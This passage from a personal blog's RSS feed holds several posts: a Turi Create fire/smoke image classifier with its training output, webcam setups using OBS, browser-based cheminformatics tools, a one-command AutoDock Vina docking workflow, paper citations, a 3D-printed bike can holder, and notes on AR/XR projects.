| ./train/default/104.jpg | Height: 224 Width: 224 | default |
| ./train/default/105.jpg | Height: 224 Width: 224 | default |
| ./train/default/106.jpg | Height: 224 Width: 224 | default |
| ./train/default/107.jpg | Height: 224 Width: 224 | default |
+-------------------------+------------------------+---------+
[2028 rows x 3 columns]
Note: Only the head of the SFrame is printed.
You can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.

Making the Model

import turicreate as tc

# Load the data
data =  tc.SFrame('fire-smoke.sframe')

# Make a train-test split
train_data, test_data = data.random_split(0.8)

# Create the model
model = tc.image_classifier.create(train_data, target='label')

# Save predictions to an SArray
predictions = model.predict(test_data)

# Evaluate the model and print the results
metrics = model.evaluate(test_data)
print(metrics['accuracy'])

# Save the model for later use in Turi Create
model.save('fire-smoke.model')

# Export for use in Core ML
model.export_coreml('fire-smoke.mlmodel')

\

Performing feature extraction on resized images...
Completed   64/1633
Completed  128/1633
Completed  192/1633
Completed  256/1633
Completed  320/1633
Completed  384/1633
Completed  448/1633
Completed  512/1633
Completed  576/1633
Completed  640/1633
Completed  704/1633
Completed  768/1633
Completed  832/1633
Completed  896/1633
Completed  960/1633
Completed 1024/1633
Completed 1088/1633
Completed 1152/1633
Completed 1216/1633
Completed 1280/1633
Completed 1344/1633
Completed 1408/1633
Completed 1472/1633
Completed 1536/1633
Completed 1600/1633
Completed 1633/1633
PROGRESS: Creating a validation set from 5 percent of training data. This may take a while.
          You can set ``validation_set=None`` to disable validation tracking.

Logistic regression:
--------------------------------------------------------
Number of examples          : 1551
Number of classes           : 3
Number of feature columns   : 1
Number of unpacked features : 2048
Number of coefficients      : 4098
Starting L-BFGS
--------------------------------------------------------
+-----------+----------+-----------+--------------+-------------------+---------------------+
| Iteration | Passes   | Step size | Elapsed Time | Training Accuracy | Validation Accuracy |
+-----------+----------+-----------+--------------+-------------------+---------------------+
| 0         | 6        | 0.018611  | 0.891830     | 0.553836          | 0.560976            |
| 1         | 10       | 0.390832  | 1.622383     | 0.744681          | 0.792683            |
| 2         | 11       | 0.488541  | 1.943987     | 0.733075          | 0.804878            |
| 3         | 14       | 2.442703  | 2.512545     | 0.727917          | 0.841463            |
| 4         | 15       | 2.442703  | 2.826964     | 0.861380          | 0.853659            |
| 9         | 28       | 2.340435  | 5.492035     | 0.941328          | 0.975610            |
+-----------+----------+-----------+--------------+-------------------+---------------------+
Performing feature extraction on resized images...
Completed  64/395
Completed 128/395
Completed 192/395
Completed 256/395
Completed 320/395
Completed 384/395
Completed 395/395
0.9316455696202531

We just got an accuracy of 94% on Training Data and 97% on Validation Data!

]]>
https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html Trying Different Camera Setups Comparison of different cameras setups for using as a webcam and tutorials for the same. https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html Sun, 11 Oct 2020 16:12:00 -0000 Trying Different Camera Setups
  1. Animated Overlays
  2. Using a modern camera as your webcam
  3. Using your phone's camera as your webcam
  4. Using a USB Camera

Comparison

Here are the results before you begin reading.

Normal Webcam USB Webcam Camo iPhone 5S Camo iPhone 11 Mirrorless Camera

Prerequisites

I am running macOS and iOS but I will try to link the same steps for Windows as well. If you are running Arch, I assume you already know what you are doing and are using this post as an inspiration and not a how-to guide.

I assume that you have Homebrew installed.

OBS and OBS-Virtual-Cam

Description

brew cask install obs
brew cask install obs-virtualcam

Windows users can install the latest version of the plugin from OBS-Forums

0. Animated Overlays

I have always liked PewDiePie's animated border he uses in his videos

Still grab from PewDiePie's video showing border

The border was apparently made by a YouTuber Sleepy Tanooki. He posted a link to a Google Drive folder containing the video file. (I will be using the video overlay for the example)

It is pretty simple to use overlays in OBS:

First, Create a new scene by clicking on the plus button on the bottom right corner.

Bottom Panel of OBS

Now, in the Sources section click on the add button -> Video Capture Device -> Create New -> Choose your webcam from the Device section.

You may, resize if you want

After this, again click on the add button, but this time choose the Media Source option

Media Source Option

and, locate and choose the downloaded overlay.

1. Using a Modern Camera (Without using a Capture Card)

I have a Sony mirrorless camera. Using Sony's Imaging Edge Desktop, you can use your laptop as a remote viewfinder and capture or record media.

After installing Image Edge Desktop or your Camera's equivalent, open the Remote application.

Remote showing available cameras

Once you are able to see the output of the camera on the application, switch to OBS. Create a new scene, and this time choose Window Capture in the Sources menu. After you have chosen the appropriate window, you may transform/crop the output using the properties/filters options.

2.1 Using your iPhone using Quicktime

Connect your iPhone via a USB cable, then Open Quicktime -> File -> New Movie Recording

In the Sources choose your device (No need to press record). You may open the camera app now.

Choose Source

Now, in OBS create a new scene, and in the sources choose the Window Capture option. You will need to rotate the source:

Rotation

2.2 Using your iPhone using an application like Camo

Install the Camo app on your phone through the app store -> connect to Mac using USB cable, install the companion app and you are done.

I tried both my current iPhone and an old iPhone 5S

3. A USB Webcam

The simplest solution, is to use a USB webcam. I used an old Logitech C310 that was collecting dust. I was surprised to find that Logitech is still selling it after years and proudly advertising it! (5MP)

It did not sit well on my laptop, so I placed it on my definitely-not-Joby Gorrila Pod i had bought on Amazon for ~₹500

USB Webcam

]]>
https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html Cheminformatics on the Web (2021) Summarising Cheminformatics on the web in 2021. https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html Sat, 26 Jun 2021 13:04:00 -0000 Cheminformatics on the Web (2021)

Here, I have compiled a list of some libraries and possible ideas. I, personally, like static websites which don't require a server side application and can be hosted on platforms like GitHub Pages. Or, just by opening the HTML file and running it in your browser. WebAssembly (Wasm) has made running code written for other platforms on the web relatively easier. Combine Wasm with some pure JavaScript libraries, and you get a platform to quickly amp up your speed in some common tasks.

RDKit

RDKit bundles a minimal JavaScript Wrapper in their core RDKit suite. This is perfect for generating 2D Figures (HTML5 Canva/SVGs), Canonical SMILES, Descriptors e.t.c

Substructure Matching

This can be used to flag undesirable functional groups in a given compound. Create a simple key:value pairs of name:SMARTS and use it to highlight substructure matches. Thus, something like PostEra's Medicinal Chemistry Alert can be done with RDKit-JS alone.

PostEra Demo

Computing Properties

This is useful to calculate basic properties of a given compound.

RDKit-JS Demo

Webina - Molecular Docking

Webina is a JavaScript/Wasm library that runs AutoDock Vina, which can enable you to run Molecular Docking straight in the browser itself.

Webina Demo

Obviously, it takes a few hits in the time to complete the docking because the code is transpiled from C++ to Wasm. But, the only major drawback (for now) is that it uses SharedArrayBuffer. Due to Spectre, this feature was disabled on all browsers. Currently, only Chromium-based and Firefox browsers have reimplemented and enabled it. Hopefully, soon, this will be again supported by all major browsers.

Machine Learning

Frameworks have now evolved enough to allow exporting models to be able to run them through JavaScript/Wasm backend. An example task can be NER or Named-entity Recognition. It can be used to extract compounds or diseases from a large blob of text and then matched with external references. Another example is target-prediction right in the browser: CHEMBL - Target Prediction in Browser

CHEMBL Group is first training the model using PyTorch (A Python ML Library), then converting it to the ONNX runtime. A model like this can be directly implemented in TensorFlow, and then exported to be able to run with TensorFlow.js

Cheminfo-to-web

The project aims to port cheminformatics libraries into JavaScript via Emscripten. They have ported InChI, Indigo, OpenBabel, and OpenMD

Kekule.js

It is written by @partridgejiang, who is behind the Cheminfo-to-web project

It is molecule-centric, focusing on providing the ability to represent, draw, edit, compare and search molecule structures on web browsers.

Browser Extensions

The previous machine learning examples can be packaged as browser-extensions to perform tasks on the article you are reading. With iOS 15 bringing WebExtensions to iOS/iPadOS, the same browser extension source code can be now used on Desktop and Mobile Phones. You can quickly create an extension to convert PDB codes into links to RCSB, highlight SMILES, highlight output of NER models, e.t.c

Conclusion

I have not even touched all the bases of cheminformatics for the web here. There is still a lot more to unpack. Hopefully, this encourages you to explore the world of cheminformatics on the web.

Further Reading

Blueobelisk Userscripts

JavaScript for Cheminformatics

Getting Started with RDKit-JS

]]>
https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html Workflow for Lightning Fast Molecular Docking Part One This is my workflow for lightning fast molecular docking. https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html Mon, 01 Jun 2020 13:10:00 -0000 Workflow for Lightning Fast Molecular Docking Part One

My Setup

  • macOS Catalina ( RIP 32bit app)
  • PyMOL
  • AutoDock Vina
  • Open Babel

One Command Docking

obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt && vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3  --ligand test.pdbqt

To run this command you simple copy the SMILES structure of the ligand you want an it automatically takes it from your clipboard, generates the 3D structure in the AutoDock PDBQT format using Open Babel and then docks it with your receptor using AutoDock Vina, all with just one command.

Let me break down the commands

obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt

pbpaste and pbcopy are macOS commands for pasting and copying from and to the clipboard. Linux users may install the xclip and xsel packages from their respective package managers and then insert these aliases into their bash_profile, zshrc e.t.c

alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'
$(pbpaste)

This is used in bash to evaluate the results of a command. In this scenario we are using it to get the contents of the clipboard.

The rest of the command is a normal Open Babel command to generate a 3D structure in PDBQT format and then save it as test.pdbqt

&&

This tells the terminal to only run the next part if the previous command runs successfully without any errors.

vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3  --ligand test.pdbqt

This is just the docking command for AutoDock Vina. In the next part I will tell how to use PyMOL and a plugin to directly generate the coordinates in Vina format --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3 without needing to type them manually.

]]>
https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response This paper is about Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response. https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html Tue, 14 May 2019 02:42:00 -0000 Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response

Based on the project showcased at Toyota Hackathon, IITD - 17/18th December 2018

Edit: It seems like I haven't mentioned Adrian Rosebrock of PyImageSearch anywhere. I apologize for this mistake.

Download paper here

Recommended citation:

ATP

Chauhan, N. (2019). &quot;Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response.&quot; <i>International Research Journal of Engineering and Technology (IRJET), 6(5)</i>.

BibTeX

@article{chauhan_2019, title={Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response}, volume={6}, url={https://www.irjet.net/archives/V6/i5/IRJET-V6I5318.pdf}, number={5}, journal={International Research Journal of Engineering and Technology (IRJET)}, author={Chauhan, Navan}, year={2019}}
]]>
https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html Is it possible to programmatically generate Vaporwave? This paper is about programmaticaly generating Vaporwave. https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html Sat, 14 Mar 2020 22:23:00 -0000 Is it possible to programmatically generate Vaporwave?

This is still a pre-print.

Download paper here

Recommended citation:

APA

Chauhan, N. (2020, March 15). Is it possible to programmatically generate Vaporwave?. https://doi.org/10.35543/osf.io/9um2r

MLA

Chauhan, Navan. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv, 15 Mar. 2020. Web.

Chicago

Chauhan, Navan. 2020. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv. March 15. doi:10.35543/osf.io/9um2r.

Bibtex

@misc{chauhan_2020,
 title={Is it possible to programmatically generate Vaporwave?},
 url={indiarxiv.org/9um2r},
 DOI={10.35543/osf.io/9um2r},
 publisher={IndiaRxiv},
 author={Chauhan, Navan},
 year={2020},
 month={Mar}
}
]]>
https://web.navan.dev/publications/2020-03-17-Possible-Drug-Candidates-COVID-19.html Possible Drug Candidates for COVID-19 COVID-19, has been officially labeled as a pandemic by the World Health Organisation. This paper presents cloperastine and vigabatrin as two possible drug candidates for combatting the disease along with the process by which they were discovered. https://web.navan.dev/publications/2020-03-17-Possible-Drug-Candidates-COVID-19.html Tue, 17 Mar 2020 17:40:00 -0000 Possible Drug Candidates for COVID-19

This is still a pre-print.

Download paper here

]]>
https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html Bike Soda Can Holder Carry your favourite soda (or beer) can with you while you ride https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html Sat, 17 Feb 2024 18:42:00 -0000 Bike Soda Can Holder

Ever wanted a nice craft soda, or a natty light during your ride? Mounts to the standard bottle cage holes on your bike.

Printed on an Anycubic Kobra 2 (0.20mm resolution w/ 0.40mm nozzle at 40% Infill)

Download Link: Github

Current Variations

  • Standard 12oz Can
  • 8.4 oz Red Bull holder

The OpenSCAD code can be modified to support tall boys and stovepipe cans. Email me if you need help generating more variations

]]>
https://web.navan.dev/ideas/2022-12-17-ar-mr-xr.html AR XR MR Data dump from my notes https://web.navan.dev/ideas/2022-12-17-ar-mr-xr.html Sat, 17 Dec 2022 19:43:00 -0000 AR XR MR

Last Updated: 2022-12-17

Projects

All projects listed here are in the following format:

Name Company Notes
Hololens Microsoft
Oculus Facebook/Meta
Tesseract Jio/Tesseract Indian "startup"
R1 Lynx MR Headset
Monocle Brilliant Labs Open Source Smart Monocle
AR.js AR-js-org Open Source framework for AR on the web. Supports image, location and marker based tracking
ARKit Apple Framework for iOS
ARCore Google Framework for Android
8thWall Niantic Framework for AR on the web
Vaunt Intel Sold everything to North, the company behind Focals
Focals North One of the only consumer grade smart glasses which got bought by Google :/, don't think they will ever launch a v2 now

Resources

  • For latest updates, r/ARMRXR is one of the best resources out there.
  • Until WebXR actually becomes a thing and gets support on Safari, depending on the use case any of the frameworks can be used right now with each having their own pros and cons. Otherwise, for displaying simple models Google's ModelViewer framework can be used to integrate with the native AR frameworks for both iOS and Android to display glTF/USDZ models.

Ideas

Safety Checklist for CUBRT

Would be nice to have an AR app/website that goes through all the safety checklists on our cars, so we never have to see another loose fuel line blow up the entire car.

Possible solution: Add a fiduciary marker under the hood of the car and use it to highlight areas which need to be checked, or multiple markers which are activated in a particular order and show up as disabled until you complete the previous step.

App Clips

Although App Clips on iOS have limited capabilities available to them, ARKit is one of them. This means, a QR code / NFC trigger can be used to launch a mini ARKit based App Clip.

Non-AR Smart Glasses

Not every pair of smart glasses need to have AR based surface tracking / SLAM, to display stuff. Just a simple display which can overlay elements on the real world should be capable of displaying tons of data

]]>